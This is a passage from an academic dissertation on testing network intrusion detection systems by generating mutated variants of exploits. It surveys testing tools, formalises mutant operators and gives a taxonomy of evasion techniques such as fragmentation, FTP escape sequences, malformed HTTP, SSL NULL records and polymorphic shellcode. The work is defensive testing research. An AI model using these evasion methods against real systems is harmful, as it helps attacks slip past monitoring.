only the more important task depending on the current system load. For
instance, an IDS should always detect buffer overflow attacks (because
they are potentially very dangerous) but it should try to detect slow scan
only if it has enough available resources without having to sacrifice more
important tasks.

Crosby and Wallach [crosby03] presented a low-bandwidth denial of ser-
vice attack that can be used again a network intrusion detection system.
Their idea, called algorithmic attack, consists in attacking data structures
(such as binary trees and hashtables) that have a “worst case” in which
they are very inefficient. In the experiment they were able to create a spe-
cially crafted traffic that, forcing an high number of hashtable collisions,
caused Bro [paxson98] to use 100% of the CPU and drop as much as 71%
of the traffic.
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3.4. Testing Tools

In this section we briefly analyze the tools that are currently used to test
network intrusion detection systems.

3.4.1. IDS Stimulators

An interesting approach to test intrusion detection systems consists in us-
ing a class of tools called IDS stimulators. This technique aims at triggering
the NIDS signatures generating synthetic traffic that mimics real attacks.
In this context the term “mimic” means that the traffic is not intended to
exploit real target vulnerabilities.

Snot [snot] and Stick [stick] use Snort signatures to generate the malicious
traffic. Their main purpose was to be used as denial of service tools, based
on the fact that if it is possible to induce an IDS to raise thousands of
alert messages, then any real attacks can go undetected buried in the huge
number of false alarms. Besides this malicious use, these tools can also
be used to test the ability of an intrusion detection system to resist to an
over-stimulation attack and to correctly distinguish between failed attacks
and real intrusions.

Similar capabilities are provided by IDSwakeup [idswakeup]), a set of
tools to test the false positive rate of network intrusion detection sys-
tems. Instead of using the Snort signatures, IDSwakeup directly imple-
ments many mock attacks that the user can select and execute against a
NIDS.

Finally, in Mucus [mutz03], the authors used the set of signatures of a
network-based intrusion detection system to drive an IDS stimulator and
generate test cases (i.e., traffic patterns that match the signatures) suitable
to test other IDS systems. This cross-testing technique provided valuable
insights about how network-based sensors detect attacks. However, its
applicability was limited by the lack of publicly available signature sets.

A special case is represented by Blade IDS Informer [blade:informer], a
commercial application explicitly dedicated to evaluate NIDSs. We place
Informer in this category (despite the vendor’s claims) because it relies
on a technology named “Simulated Attack For Evaluation (SAFE)” that
should be able to “create harmless network traffic, that appears as a real
attack to an IDS” [blade:informer]. Even though the purpose is different
(here the goal is not to force the IDS to generate too many alarms but
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to test its detection capabilities) this sounds very similar to the approach
adopted by other IDS stimulators.

3.4.2. NIDS Evasion Tools

The idea of performing desynchronization attacks was initially introduced
by Ptacek and Newsham [ptacek98] as a way to play with weird TCP/IP
packets in order to induce a NIDS to interpret the traffic in a different
way with respect to the target host. Such techniques have been imple-
mented in evasion tools like nidsbench’s fragrouter [nidsbench] and con-
gestant [horizon98].

Recently, a number of other techniques to perform desynchronization at
the application level [graham:sidestep, whisker] and at the attack payload
level [admmutate, detristan03] have been proposed. Whisker is a Perl CGI
vulnerability scanner that implements many anti IDS features making it
the de facto standard for HTTP-based mutation. Beside fragrouter, it is
the only mutation tool actually used in large scale evaluations of intrusion
detection systems. For the same reason it is often used by the vendors
themselves for their internal tests, thus reducing its efficiency as a NIDS
benchmarking tool.

ADMmutate and Clet are two polymorphic shellcode mutation engines.
The idea here is to cipher the shellcode each time in a different way and
to introduce a decipher routine to preserve the code behavior. They can
also modify the NOP sled substituting the traditional no-operation with
other random one-byte instructions, sometimes shaping them to look like
existing English words. The final result is something very difficult to detect
also by the more sophisticated intrusion detection algorithms.

All these techniques are usually used as a way to evade detection, spotting
weaknesses in the way NIDSs reconstruct the network traffic. Comprehen-
sive tools that attempt to compose multiple techniques are presented in
the following sections.

3.4.3. Exploit Execution Environments

Exploit execution environments are tools that provide a support for real
exploit execution. Most of them were initially intended to help security
practitioners to perform penetration testing experiments. Anyway, their
ability to run real attacks quickly attracted the attention of people inter-
ested in testing intrusion detection systems.
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Metasploit [metasploit] is an open source environment based on the Perl2

scripting language that represents an invaluable resource for exploit de-
velopers. It makes it possible to independently select an attack and its
payload, configure a number of execution parameters, and execute the re-
sulting exploit against the target.

Immunity’s CANVAS [immunity:canvas] and Core Impact [core:impact]
from Core Security Technologies are even more sophisticated. They in-
clude in a single application a network mapper, a vulnerability scanner, an
exploit execution environment, and a report generator. They also contain
some basic functionalities to perform “stealth” attacks, i.e., to apply some
form of obfuscation to the executed attacks.

The usefulness of these tools in a NIDS testing experiment is often limited
to a source of exploit scripts but, how we have previously explained, this
is just the first step in a complex testing scenario.

3.4.4. Attack Mutation Tools

The use of variations of attacks to test intrusion detection systems and
other security mechanisms has recently received considerable attention.
These tools combine the functionalities of an exploit execution environment
with one or more IDS evasion techniques.

One of the earliest works that systematically considered attack varia-
tions as a way to test intrusion detection systems was Raffael Marty’s
Thor [thor]. Thor’s design included the possibility to generate variations
at both the network and the application layers using a variator component
that acts like a proxy to modify and forward the traffic. However, Thor’s
implementation is limited and the only mentioned result is the applica-
tion of an evasion technique based on IP fragmentation to an HTTP-based
attack.

Another interesting work is MACE [sommers04:mace]. MACE is a toolkit
for malicious traffic generation written in Python. The malicious traffic
is created according with three models: an Exploit model that describes
the parts of the attack, an Obfuscation model that defines the obfuscation
elements at both network and application layer, and the Propagation model
that controls the order in which the victim hosts are chosen to be attacked.
The tool has been used to test the performance (cpu and memory load) of
two opensource IDSs but it does not provide any way to iteratively apply

2The authors are now moving the new incoming version to Ruby
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the obfuscation techniques to evade detection on the system under test.

Finally, an approach similar to the one proposed in this dissertation (and
presented just after the first publication of our approach) was introduced
by Rubin et al. in [rubin04]. In their work, they developed a tool called
AGENT to generate variations of an attack using inference rules. The ad-
vantage (and novelty) of AGENT is its formal characterization of the type
of transformations applied to an exploit. This allows one to better charac-
terize the mutation process and the mutation space. However, its formal
approach does not allow one to easily model very complex transformations.
In addition, even though the authors state that the effectiveness of the mu-
tated attacks is not affected, there is no practical guarantee (or practical
mechanism to verify) that this is actually the case. Finally, even though
the mutation space can be formally described, the approach provides no
guidance as to how to explore this space.

3.5. Summary

This chapter presents a survey of the state of the art in NIDS testing. We
started by depicting existing testing methodologies, we then went through
the main testing experiments, and finally we analyzed the available tools.

Existing experiments, such as the ones conducted by Lincoln Labs, pro-
vide interesting comparisons and useful guidelines for system administra-
tors that need to choose an IDS to protect their networks.

For a more general approach, testing tools represent the ideal solutions
because they allow everybody (with enough time and knowledge on the
subject) to design and implement their own testing experiments. The
main problem in this case is that each tool covers only a small part of the
testing requirements and it is often very difficult to use more than one of
them at the same time to combine their characteristics. For example, if
a user wants to run an attack using metasploit but he also requires the
mutation capabilities provided by Whisker, he probably needs to put his
hands in the code to merge in some way the two applications.

So, despite the increasing number of available programs, network in-
trusion detection testing can still be considered a black art, where the
expertise of the tester still represents the more important factor.

In addition, with very few exceptions, present testing approaches are
totally inadequate for testing the quality of NIDS signatures. In fact, they
tend to focus on the NIDS ability to identify different kind of attacks and
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not on the ability to identify different instances of the same attack.

The testing technique introduced in this dissertation attempts to over-
come these limitations presenting both a testing methodology and an ex-
ploit mutation framework that can be used to generate a number of test
cases to evaluate the detection rate of network intrusion detection systems.





chapter four

NIDS Testing through Mutant

Generation

Bypassing computer security systems has sometimes
been called an art rather than a science by those

who typically do not interact with computing
machines at a level that would allow them to

appreciate the science behind security attacks

Lee Carlson

This chapter presents a novel approach to automatically perform black
box testing of network intrusion detection signatures. We start presenting
the idea behind our methodology, providing a thorough comparison with
existing testing techniques like fault injection and mutation testing. Then,
we present in more details the two main aspects of our approach: the
attack model and the mutation model.

4.1. Approach Overview

The main problem with most of the current NIDS signatures is that they
can easily recognize the manifestation of an attack as it is performed by
computer worms or by executing exploit scripts commonly found on the
Internet, but they often fail to detect slightly modified versions of the same
attack.

To verify the real quality of the NIDS detection models a new testing
methodology that includes multiple variations of each attack is needed.
Manually modify an attack is infeasible due to the large number of possible
transformations, the expertise required to know in details each of them,
and the time that they require to be applied. On the contrary, in this
chapter we show how a large number of variants of the same attack can be
automatically derived from just a known exploit instance.

The idea behind our approach is quite simple [vigna04] (see Figure 4.1).
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Figure 4.1: Our Approach

First of all, we need a sample of the attack that we want to mutate. This
step does not present particular problems, since many web sites regularly
publish exploit scripts that can be freely downloaded. The base instance is
then used to derive an attack model, that is a special representation of the
attack that provides to the underlying mutation engine the mechanism to
manipulate the attack.

Besides the attack model, we also define a mutation model that de-
scribes all the possible transformations and how they can be applied to
the base attack to generate a large number of attack variations. Our ap-
proach supports multiple evasion techniques and allows the developer of
the test to compose these techniques to achieve a wide range of attack
mutations. Note that we neither claim to completely cover the space of
possible variations of an attack, nor states that we guarantee that all the
attack variations are successful. Nevertheless, we aim at providing an ef-
fective framework for the composition of evasion techniques to test the
quality of intrusion detection signatures.

After the two models have been defined, the testing methodology consists
in an automated mechanism that generates a large number of attack varia-
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tions by applying the transformation defined in the mutation model to the
exploit described by the attack model. The resulting attacks are then run
against a victim system where the vulnerable applications are installed.
The network traffic is analyzed by a network-based intrusion detection
system, and the alert messages are then correlated with the execution of
the exploits instances. By evaluating the number of successful attacks that
were correctly detected, it is possible to get a better understanding of the
effectiveness of the models used for detection.

4.1.1. Relation with Fault Injection and Mutation Testing

The testing technique we propose is somehow similar to the fault injection
approach. Software fault injection [arlat90, voas97, clark95] is a testing
methodology that aims at evaluating the dependability of a software sys-
tem by analyzing its behavior in presence of anomalous events. When
applied to security testing, software fault injection is often performed by
modifying the environment in which the target application is executed.
This usually involves changing external libraries, network behavior, envi-
ronment variables, contents of accessed files, and, in general, all the input
channels of the application [du98]. This approach is supported by “fuzzer”
tools, such as Sharefuzz [sfuzz] and Spike [spike]. Fuzzers are programs
designed to find software bugs (such as the lack of dynamic checks on in-
put buffers) by providing random and/or unexpected input data to the
target application. For example, Spike provides an API that allows one to
easily model an arbitrary network protocol and then generate traffic that
contains many different values for each field of the messages used in the
protocol.

Our approach is different because our test cases must be successful at-
tacks. This requirement poses an additional constraint on the generation
of test cases. The techniques used in traditional fuzzers do not necessarily
provide a valid input to the application. In our case, the mutant generation
process must instead preserve the correctness of the attack, otherwise it
would not be possible to determine if the intrusion detection system failed
to detect a variation of the attack or if it correctly ignored an attack that
was not successful. As a consequence, we cannot use many of the transfor-
mation and “fuzzing” techniques adopted when performing software fault
injection.

Our technique performs testing using mutants of attacks, but despite
the use of the “mutant” term, our approach differs notably from “muta-
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tion testing.” Mutation testing [demillo78] is a white-box technique used
to measure the accuracy of a test suite. In mutation testing, small modifi-
cations are applied to a target software application (e.g., by modifying the
code of a procedure) to introduce different types of faults. This modifica-
tion generates a mutant of the application to be tested. If the test suite
is not able to correctly distinguish a mutant from the original application,
it might be necessary to add new test cases to the suite to improve its
accuracy.

Our approach is different from mutation testing because the mutations
are applied to the procedure (i.e., the exploit) used to generate the test
cases (i.e., the attacks), and the target application (i.e., the intrusion detec-
tion system) is never modified. One may argue that the intrusion detection
system may be considered to be the test suite and that the variations of
an attack represent instances of the mutated target application. Even in
this perspective, our technique differs from traditional mutation testing in
that mutation testing introduces faults in an application to check if the test
suite is able to detect the problems, while our mutation techniques preserve
the functionality of the target application while changing its manifestation
in terms of network traffic.

4.1.2. Design Issues

Back to the main picture of our methodology (Figure 4.1) we can identify
three main sections that need to be analyzed in more details:

Attack Model - The attack model should be a suitable representation of
an attack that can be used as root instance to generate any possible
variation of the attack. Note that “any possible variation” does not
mean all of them: we already said that our approach does not aim
at covering the whole space of possible mutation (that is infinite).
Anyway, it is important that the attack model is abstract enough
to allow users to implement any possible transformation and easy
enough to be written starting from a known exploit instance.

We describe the design of the attack model in section 4.2

Mutation Model - It is the most important part of our methodology.
This model should describe how each transformation works and which
are its characteristics. In this field, we provide for the first time a
taxonomy that groups together evasion techniques based on the way
they operate to evade detection.
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The mutation model should also provide information on how the
transformations can be combined together to compose more complex
mutation functions and how they can be automatically applied to the
attack template.

The mutation model is described in section 4.3

Mutant Verification - Since we are interested in testing the ability of
a detection model to properly identify “real” intrusions, we need
a way to ensure that the mutants generated by our technique are
still “effective” attacks (i.e., that executing each of them against the
vulnerable application, we are going to obtain the same effect as
executing the original exploit script).

Two different approaches are possible:

• A theoretical approach consisting in proving that all the muta-
tion techniques are individually sound, and also that any possi-
ble composition of them is sound.

• A practical approach in which each mutant attack is tested on
the field to ensure that it is still working properly. This solution
requires the presence of an “oracle” component, responsible to
decide whether the execution of an attack is successful or not.

More details on the mutant verification can be found in section 4.4

4.2. Part I: the Attack Model

The attack model aims at providing a description of the attack, suitable
for our mutation process. Such description should satisfy the following
requirements:

• It must be executable. That does not mean that it must be a com-
puter program in the traditional sense of the word, but that it must
exist an engine (or simply a compiler or an interpreter) that can read
the model and execute it against a real target. That means that for
our purpose a paragraph in English language is not a valid attack
model.

• It should be as similar as possible to the current exploits that can be
downloaded from the Internet.
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• It must provide the necessary hooks to link together the attack model
and the mutation model.

To accomplish these requirements, we need to choose a suitable language
to write the attack template, and then provide a mechanism to allow the
mutation techniques defined by the Mutation Model to be automatically
applied to it.

4.2.1. Definitions

An exploit script E is an executable procedure (i.e., a computer program)
that describes how to take advantage of a certain set of vulnerabilities to
accomplish an intrusion against a target system T . The execution of this
procedure generates an attack that results in an intrusion in case of success
(these definitions are consistent with the definitions of attack and intrusion
given in section 2.2.1).

An attack produces in the environment a set of observable events that we
call attack manifestation. We define network trace the subset of the attack
manifestation that somehow affects the network traffic. Thus, Trace (E,T )
represents the trace obtained by executing the exploit E against the target
T .

Of course, all the packets that carry the attack belong to its network
trace. Also the packets containing the server response belong to the net-
work trace, since they are a direct consequence of the attack and they can
contain evidences useful for its identification. Some cases are even more
complex. For example, consider a TCP hijacking attack: after the at-
tacker has injected its packet in the existing stream, the two endpoints get
desynchronized and they start sending each other ACK packets to signal
the expected sequence numbers. Even though this “ACK storm” is not
the attack neither the legitimate service response to the attack, it is still
an observable consequence of the attack execution and for this reason it
should be part of its network trace.

Unfortunately, due to the intrinsic non-determinism of the surrounding
environment, an attack trace can be slightly different from one execution to
another (e.g., if some of the network packets are lost, the network trace may
contain retransmissions). Nevertheless, if the experiments are conducted in
a controlled environment, we can assume that the non-deterministic effects
are negligible for our purposes. For example, two different executions of
the same attack may have different delays between packets but, as long as
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the difference is small, this does not affect the results of our experiments.

Therefore, we assume that the following hypothesis holds:

Deterministic Trace Hypothesis:
Given an exploit E and a target T , Trace (E,T ) is unique from
a NIDS perspective.

This assumption may appear quite strong, but its purpose is only to
ensure that multiple executions of the same attack in a controlled environ-
ment lead to network manifestations that are equivalent for an intrusion de-
tection sensor. If this hypothesis is not true (i.e, in case non-deterministic
effects may affect the detection capability of the NIDS) the experiments
would not be repeatable, undermining any serious attempt to test an in-
trusion detection system.

Finally, we can generalize an exploit introducing the concept of exploit
template. An exploit template is a parametric form of an exploit that
exposes one or more mutation points, each representing a point in the
exploit code where a mutation may occur to change the way in which the
attack is executed. An exploit template is executable exactly as any other
exploit, but it can be modified in order to generate different instances.
Each template instance is represented using cardinal numbers as subscript:
so E2 is the second instance of the template E, E3 the third and so forth.

4.2.2. Exploit Description Languages

Before introducing the mutation model, we want to explore whether some
ad-hoc language exists to represent parametric exploits. Even though very
little research has been done on this topic, we briefly consider here the
three more relevant attempts of languages to describe exploits:

Casl - Casl [casl] is a scripting language designed to simplify the network
packets management. It provides functions to build, transmit, and
receive individual packets but it does not provide anything to work
with higher level protocols as HTTP or FTP. For this reason CASL
can be used to simulate attacks that requires to forge network pack-
ets, but it is not suitable to write more complex attack scenarios that
involve multiple protocol layers.

Nasl - Nasl [nessus:nasl], the language used by Nessus security scanner,
has been developed to write vulnerability test scripts. It has been
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designed to be a secure language, that means that it guarantees that
a script cannot execute any command on the local machine and that
it cannot communicate with hosts different from the target of the
test experiment.

Adele - Adele [michel01] has been proposed to combine in a single high
level representation all the aspects related to a computer attack. Its
XML-like syntax allows the user to represent the attack code, the
detection code, and the response code inside a single document. The
exploit part is composed of three sections: the real attack code, the
preconditions required for launching it, and the result gained by the
attacker after a successful execution. It is important to note that
Adele does not impose a specific language for the attack code, but
allows the exploit to be expressed in any existing language.

Casl and Nasl do not provide any functionality to define attack variations.
They simply have not been designed with that purpose in mind. Adele,
instead, proposes a language representation called EDL that contains some
operators (namely Non-ordered, One-Among, and Subset-of ) to modify the
order in which the different steps that compose the attack are executed.
This means that a number of simple variations can be generated from a
single attack description.

Concluding, none of the previous languages are mature enough to sub-
stitute a general purpose programming language in the development of an
attack script. This is the reason why security practitioners keep publish-
ing their exploit programs using traditional programming languages with
a prevalence of C, Perl and Python.

Since existing languages for attack modeling are still in the early stages
and since programmers are usually reluctant to learn new languages, we
decided not to develop our own exploit description language. Our solution
(described in Chapter 6) adopts Python as reference language and a set
of Python libraries to provide the necessary hooks for the transformation
functions. This allows users to translate existing exploit in our exploit
template with very limited effort.
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4.3. Part II: the Mutation Model

This section introduces the mutation model, that is the theory behind the
creation of mutant exploits. In the following, we introduce the mutant
operators that represent the basic blocks of our mutation process.

4.3.1. Mutant Operators

Mutant operators are transformations that can be applied to an existing
operational description of how a vulnerability is exploited to generate a
new different version of the same exploit.

Let E be an exploit that is going to be executed against a target system
T . We define the function Post(E,T ) to be the post-conditions of the
execution of E against T . These conditions must reflect the result of
a successful exploit and they are usually expressed as a change in the
(security) state of the target system T (e.g., the creation of a new file or
the execution of a shell command).

We then define a mutant operator µ : UE × X∗ → U+

E
, where X is the

set of all possible parameters that may be passed to the operator and UE

the universe set of all the possible exploits, to be a deterministic function1

that operates on an exploit E such that:

Trace(µ(E), T ) 6= Trace(E,T ) (4.1)

Post(µ(E), T ) = Post(E,T ) (4.2)

The first condition requires that the mutation manifests itself as a change
in the attack trace, for the simple reason that a mutation that does not
produce any change in the corresponding trace is useless for our purpose
since a network sensor cannot distinguish the two exploits. The second
condition requires that the mutant operator preserves the attack post-
conditions, i.e. the mutation does not affect the results of the execution of
the exploit.

Through mutant operators it is possible to express a wide range of mu-
tation mechanisms, operating at different levels of abstraction, such as the
network level and the application level, and with different parameters.

Typically, network-level mutant operators manipulate the way in which
the application-level content is delivered to the target. These operators,

1A function is deterministic if it always returns the same result any time it is called
with the same set of input values.



62 Testing Network Intrusion Detection Systems

therefore, mostly modify the way in which an attack interacts with the
target operating system’s network stack. Because of this, these operators
are usually orthogonal with respect to application-level operators. Ex-
amples of these operators are the use of IPv6, IP fragmentation, TCP
segmentation, and other techniques described extensively in [ptacek98].
Application-level mutant operators, on the other hand, manipulate the
data that are delivered to the target application. These operators are
application- or protocol-specific. Examples of these operators are the in-
sertion of telnet sequences in FTP control streams [graham:sidestep], the
use of request smuggling in HTTP [linhart05], or the introduction of pro-
tocol rounds in the IMAP protocol.

Both network-level and application-level operators are derived by man-
ually analyzing the implementation of servers and TCP/IP stacks and by
finding a way to desynchronize their view with respect to the view of an
observer, that is the NIDS.

Even though it is possible to realize very complex transformations that
affect multiple protocol layers, a more modular approach would include
mutant operators that operate elementary transformations only (such as
the encoding of a string in a different representation or the substitution
of an end-of-line character). These basic operators can then be composed
into more complex mutation functions.

In our notation, starting with an exploit template E, we can successively
apply a set of mutation functions {µ0, µ1, . . . , µn} to create a complex
mutant exploit:

Ex = µn (µn−1 (. . . µ0 (E)))

4.3.2. Characterizing a Mutant Operator

Even though a number of papers have been written on evading intrusion
detection systems, so far only partial and informal classifications have been
proposed.
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A Function-driven Taxonomy

The usual approach consists in grouping together evasion techniques ac-
cording to the layer to which transformations are applied (e.g., transport,
application, or network). Other classifications focus on a particular layer
only: for instance, in [ptacek98] Ptacek and Newsham focus only on the
network layer, proposing to distinguish between insertion and evasion
techniques. Insertion techniques rely on the fact that a NIDS can accept
packets that an end-system rejects, while evasion techniques are based on
the fact that an end-system can accept a packet that the NIDS rejects.

Other classification are possible. For example, one can distinguish be-
tween mutations that add new data to the stream from mutations that
only modify information already present in the attack, or distinguish be-
tween reversible transformation (that can be removed by the sensor before
matching the signatures) from irreversible ones.

Even though all these classifications are correct and somehow interesting,
none of them take into account a crucial aspect of the problem: the final
purpose of a mutation technique. In fact, knowing that a particular IDS
is more prone to HTTP evasion techniques than to TCP layer techniques
does not provide enough information to properly understand what is the
real problem in the IDS detection model. It could be due to a buggy HTTP
protocol parser or it could just be the result of a bad set of signatures.

For this reason we propose the following function-driven taxonomy:

Obfuscation techniques attempt to modify the manifestation of the
attack in order to make pattern matching ineffective. (Examples:
change the characters case, introduce particular escape characters).
It is possible to further refine this class in two sub-categories: encod-
ing techniques based on a change in the data encoding, and disguising
techniques that rely for example on characters insertion to obfuscate
commands.

Parser trap techniques change the stream in order to confuse the parsers
that are usually adopted for protocol analysis. (Examples: change
the separator character, HTTP premature ending)

Exhausting techniques do not modify the evidence of the attack. In-
stead, they try to make the IDS sensor stop analyzing the traffic
before the malicious content is detected. Two main classes of tech-
niques belong to this category: time-based mutations that introduce
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delays between attack steps and traffic-based mutations that prepend
protocol rounds in front of the malicious commands.

Deception techniques are based on the assumption that the IDS sen-
sor and the target system are deployed on different computers (and
sometimes even on different network segments). For this reason it
is possible to fool the IDS making the traffic analyzed by the sensor
different from the traffic received by the target system.

Morphing techniques modify the exploit in order to perform the same
attack in a different (and unusual) way. (e.g., using the POST
method instead of GET)

This classification can help practitioners to understand the reason behind
IDS evasions. For example, if a system can be systematically evaded using
morphing techniques, it is a clear sign that its models are not abstract
enough and that they tend to overfit to particular attack instances. A
system vulnerable only to deception techniques probably contains high
quality signatures, but it is not able to collect and manage the information
about the environment it has to monitor. Obfuscation evasions suggests
that the IDS does not have protocol parser to normalize the traffic, while
parser trap and exhausting techniques mean that such parsers exist but
are probably faulty.

Other Characteristics

Besides the classification based on their functionalities, there are other
properties that can be associated with each mutation technique:

• Reversible - A mutation is reversible if it is possible to remove it from
the attack stream, i.e. if an inverse transformation exists:

∃σ | σ(µ(x)) = x

Unfortunately, it is not always possible to revert a mutation. For
instance, if all the characters of a string were converted to upper
case, there is clearly no way to reconstruct the original string.

• Target-specific - A mutation is target-specific if it works only against
a particular version of the target service. For instance, some encoding
techniques are supported only by Microsoft IIS but not by different
web servers.
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• Iterative - A technique is iterative if it can be applied multiple times
to the same attack with different results.

µ(µ(x)) 6= µ(x)

For instance, protocol round is iterative while changing the HTTP
method from GET to POST is not iterative.

• Standard - We say that an exploit is standard if all its commands (at
every protocol layers) follow the corresponding protocol standard.
Some RFC distinguishes between features that must be supported
by all the implementations (Standard) from features that should be
implemented but are not mandatory (Recommended). Finally, a mu-
tation technique is Non-Standard if it modifies the attack including
some non-standard feature.

Some of these characteristics can help classifying IDS evasions in different
classes of severity. For example, a signature that can be evaded only thor-
ough some undocumented protocol feature it is in some way better than a
signature that can also be evaded with “mandatory standard” features.

4.3.3. Combining mutant operators

Applying a single mutation technique is often not enough to evade an
intrusion detection system. For this reason, it is important to be able to
combine together multiple techniques in order to produce more complex
mutations that will evade the IDS.

We can distinguish three cases where composing different techniques can
help evading an intrusion detection system:

Parallel Evasion
It is often the case that an intrusion detection sensor identifies two
or more parts of an attack as malicious. For instance, it can generate
an alert due to an anomalous URL and another alert for the presence
of a shellcode in the HTTP header. In such case, multiple evasion
techniques can work in parallel to reach a successful evasion, each
one targeting a different signature.

Cooperative Evasion
It occurs when a signature is good enough to resist to each single
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mutant operator, but it is still possible to evade the signature by
combining together different mutation techniques at the same time.
In this case, multiple evasion techniques cooperate to evade the same
signature.

Chain Evasion
A different (and much more subtle) case occurs when, after a trans-
formation, the intrusion detection system is not able to correctly
identify the attack but it successfully detects and reports the evasion
attempt. In this case, a second technique can be used to “evade the
evasion detection”, that is to evade the signature that matches the
evasion technique. Of course, it is possible to iterate this process
combining multiple techniques in a “chain of mutations”.

Now we need to analyze what happens when multiple mutant operators
are applied at the same time to a single exploit template. That is, given
two operators µA and µB, what are the properties of µA(µB(E))?
In particular we are going to take into consideration the soundness of the
final mutation, the problems of ordering and compatibility between mutant
operators and how all the properties we defined for a single mutant operator
can be extended to more complex mutation functions.

Soundness
The mutant operators are supposed to preserve the “effectiveness”
of the attack, that is, all the generated mutants are supposed to be
functional exploits. Unfortunately, both the exploits and the attack
targets may be very complex. Therefore, it is possible that a variant
of an exploit becomes ineffective because of some condition that may
be difficult (or impossible) to model.

In general, the soundness of a transformation cannot be proved, even
in the simple case of a single mutation technique. The best we can
do is to assume (through our experience and a careful testing phase)
that a technique is sound for a specific attack and a specific target.
Aggregating multiple techniques complicates considerably the prob-
lem. In fact, the combination of two sound techniques can lead to
an unsound result. For this reason, we strongly believe that the only
way to know whether a mutant exploit is correct or not is to test it
against a real target and rely on an oracle to analyze the result.

Ordering
Changing the order in which the transformations are applied to the
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exploit can generate different mutants. We say that two mutant
operators µA and µB are unrelated if and only if

Trace(µA(µB(E)), T ) = Trace(µB(µA(E)), T )

Since many mutation techniques are related, the order in which they
are applied is an important factor. As we will explain better in the
next chapter, we decide to adopt an ordering relation to reduce the
number of possible combinations.

Compatibility
Not all mutation techniques can be applied at the same time because
some of them are mutually exclusive. For example, a mutation can
cancel the effect of another one or a mutant operator can modify the
exploit in a way that does not allow a second operator to be applied.

Combined properties
Some of the characteristics we defined in the previous section make
sense only if applied to a single mutant operator (as the iterative
property). Others can be extended to mutants obtained composing
multiple techniques.

A set of mutant operators is reversible if and only if all of them are
reversible, it is target specific if at least one of them is target specific,
and it is standard if all of them are standard.

4.3.4. Example of mutation techniques

This section discusses some examples of mutation techniques, grouped
together in three categories: network layer techniques, application layer
techniques, and exploit layer techniques. For each of them, a detailed
description is provided with a particular focus on the classification and
characteristics introduces in the previous section. All the techniques pre-
sented in this section are summarized in Table 4.1.

It is important to note that the objective of this dissertation is not to
develop a complete database of mutation techniques, but rather to provide
a flexible environment in which security practitioners can develop their
techniques and test them on real attacks.
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Network Layer Mutations

Network layer mutations are a class of techniques that operate at the net-
work or transport layers of the OSI networking model. These transforma-
tions can thus be applied independently of higher-level mutations, facilitat-
ing the composition of mutation techniques. Even though these techniques
have been known for some time [ptacek98], they remain effective in evading
current NIDS implementations.

IPv6
Type: Morphing
Flags: Reversible, Standard

IPv6 is the next-generation of Internet Protocol designated as the
successor to IPv4. IPv6 provides expanded addressing, an optimized
header format, improved support for extensions, flow labeling, and
improved authentication and privacy capabilities [ipv6spec]. IPv6 is
currently being deployed in networks across the Internet, but, due
to several factors, adoption has been slower than anticipated. This
situation, coupled with vendor oversight, has resulted in many NIDSs
historically neglecting to handle IPv6 traffic, allowing an attacker to
evade detection by sending attacks over IPv6, when available.

IP Packet Splitting with overlapping fragments
Type: Deception
Flags: Reversible, Target-specific, Iterative, Recommended

Some network-based signatures check the length of a packet to de-
termine whether an attack has occurred. In such cases, it may be
possible to deliver the attack using several smaller packets in order to
evade the signature. Even though stream reassembly would mitigate
the effectiveness of this evasion technique, the procedure is costly
enough that it is not performed for all services in typical production
deployments of NIDSs.

An even more subtle technique consists in using inconsistent or over-
lapping fragments. Different operating systems use different rou-
tines to reassemble the traffic in presence of these anomalous cases.
Five different behaviors have been observed in practice [shankar03],
making very difficult for an intrusion detection system to be able to
correctly interpret the traffic as the target system does.



Chapter 4. NIDS Testing through Mutant Generation 69

Application Layer Mutations

Application layer techniques are defined as mutations which occur at the
session, presentation, and application layers of the OSI networking model.
These techniques include evasion mechanisms applied to network protocols
such as SSL, SMTP, DNS, HTTP, etc.

Protocol Rounds
Type: Exhaustion
Flags: Iterative, Standard

Many protocols allow for multiple application-level sessions to be
conducted over a single network connection in order to avoid incur-
ring the cost of setting up and tearing down a network connection for
each session (e.g., SMTP transactions, HTTP/1.1 pipelining). Many
NIDSs, however, have neglected to monitor rounds other than the
initial one, either through error or because of performance reasons.
This allows an attacker to evade a vulnerable NIDS implementation
by conducting a benign initial round of the protocol before launching
the actual attack.

FTP Escape Characters
Type: Parser Trap

Flags: Reversible, Target-specific, Recommended

It is possible to insert certain telnet control sequences into an FTP
command stream, even in the middle of a command. This ap-
proach was adopted years ago by Robert Graham in his SideStep
tool [graham:sidestep]. Nowadays many NIDSs are able to normal-
ize FTP commands by identifying and stripping out the control se-
quences used by SideStep. However, by using alternate control se-
quences it is still possible to evade current NIDSs.

HTTP Malformed Request
Type: Parser Trap

Flags: Reversible, Target-specific, Non-Standard

Differences between web server and NIDS implementations of the
HTTP protocol allow an attacker to evade HTTP-related signatures
by modifying the protocol stream so that a request is accepted by web
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servers even though it violates the HTTP specification [http1.1spec].
Most Web servers are known for being “tolerant” of mistakes and
incorrectly formatted requests. Instead, the HTTP protocol parsers
of NIDSs typically strictly adhere to the specification. Therefore,
“incorrect” requests carrying malicious payloads may be served by
the web server but they might be discarded by the IDS. Examples
of HTTP protocol evasion techniques include neglecting the use of
carriage returns, random insertion of whitespace characters, and in-
serting junk characters into parsed numerical fields. Similar evasion
techniques are also applicable to the FTP and IMAP protocols.

SSL NULL Record Evasion Technique
Type: Deception
Flags: Reversible, Iterative, Non-Standard

The Secure Sockets Layer (SSL) is a protocol developed by Netscape
to provide a private, authenticated, and reliable communications
channel for networked applications [sslv2spec]. The specification de-
fines a set of messages (for example, client-hello, server-hello,
client-master-key, server-verify) that are encapsulated in ob-
jects known as “records.” SSL records are composed of both a header
and a data portion, and are required to be of non-zero length. Some
implementations of the SSL protocol, however, allow NULL records
(i.e., records with a zero-length data portion) to be inserted arbi-
trarily into the session stream.

This kind of handshake is illegal according to the protocol specifica-
tion, but currently-deployed SSL implementations will accept it as
valid. OpenSSL, in particular, relies on an internal read function
that will silently drop NULL records without notifying higher layers
of the library. This function is used during session negotiation as
well as during normal data transfer. Thus, NIDSs that monitor the
SSL protocol in order to detect SSL-related attacks can be evaded
if they correctly adhere to the specification instead of mimicking the
behavior of real-world implementations, because they will discard the
monitored traffic as an invalid SSL handshake.
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Exploit Layer Mutations

Exploit layer mutations are defined as transformations directly applied to
an attack as opposed to techniques that are applied to a network session
as a whole, as discussed in the previous sections. This class of mutations
includes well-known techniques such as using alternate encodings as well
as more advanced techniques to obfuscate malicious code.

Polymorphic Shellcode
Type: Obfuscation
Flags: -

The ADMmutate polymorphic shellcode engine is used to gener-
ate self-decrypting exploit payloads that will defeat most popular
NIDS shellcode detectors [admmutate]. Features of this engine in-
